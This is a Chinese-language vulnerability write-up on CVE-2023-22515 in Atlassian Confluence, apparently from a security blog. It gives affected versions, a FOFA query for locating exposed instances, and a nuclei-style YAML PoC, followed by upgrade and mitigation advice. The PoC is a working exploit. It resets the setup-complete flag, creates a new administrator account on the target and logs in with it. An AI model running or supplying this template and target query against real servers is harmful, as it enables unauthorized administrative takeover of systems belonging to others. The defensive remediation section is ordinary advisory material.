Confluence 未授权提权访问漏洞 CVE-2023-22515

漏洞描述

CVE-2023-22515 是 Atlassian Confluence 中的一个安全漏洞，允许攻击者在未经授权的情况下提升权限并访问系统资源。影响特定版本的 Atlassian Confluence。攻击者可以通过构造恶意请求绕过身份验证机制，从而获得管理员权限或其他高权限访问。

影响版本

该漏洞影响以下 Confluence 版本：

• Confluence Data Center 和 Server 8.0.0 至 8.5.1

fofa

app="ATLASSIAN-Confluence"

poc yaml格式

variables:
  username: "{{rand_base(10)}}"
  password: "{{rand_base(10)}}"
  email: "{{username}}@{{password}}"
http:
  - raw:
      - |
        GET /setup/setupadministrator-start.action HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /setup/setupadministrator-start.action HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout:20s
        POST /setup/setupadministrator.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Atlassian-Token: no-check

        username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next
      - |
        POST /dologin.action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Atlassian-Token: no-check

        os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action
      - |
        GET /welcome.action HTTP/1.1
        Host: {{Hostname}}
    cookie-reuse: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - contains(body_1, 'Setup is already complete')
          - contains(body_3, 'Please configure the system administrator account for this Confluence installation')
          - contains(location_5, '/index.action')
          - status_code_5 == 302
          - contains(body_6, 'Administration')
        condition: and

修复建议

为了修复该漏洞，建议采取以下措施：

1. 升级到最新版本：Atlassian 已发布修复版本，建议用户尽快升级到 Confluence 8.5.2 或更高版本。
2. 应用临时缓解措施：如果无法立即升级，可以通过限制对 Confluence 实例的访问或禁用相关功能来降低风险。
3. 监控日志：定期检查 Confluence 日志，查找异常活动或未经授权的访问尝试。

升级步骤

以下是升级 Confluence 的步骤：

1. 下载最新版本的 Confluence 安装包。
2. 备份当前 Confluence 实例的数据和配置文件。
3. 停止 Confluence 服务。
4. 安装新版本并启动服务。
5. 验证升级是否成功，并确保所有功能正常运行。

临时缓解措施

如果无法立即升级，可以采取以下临时措施：

• 限制对 Confluence 实例的访问，仅允许受信任的 IP 地址访问。
• 禁用不必要的插件或功能，减少攻击面。
• 启用严格的访问控制策略，确保只有授权用户可以访问敏感资源。

参考链接

• Atlassian 安全公告
• CVE 详细信息

通过以上措施，可以有效降低 CVE-2023-22515 带来的安全风险，确保 Confluence 实例的安全性。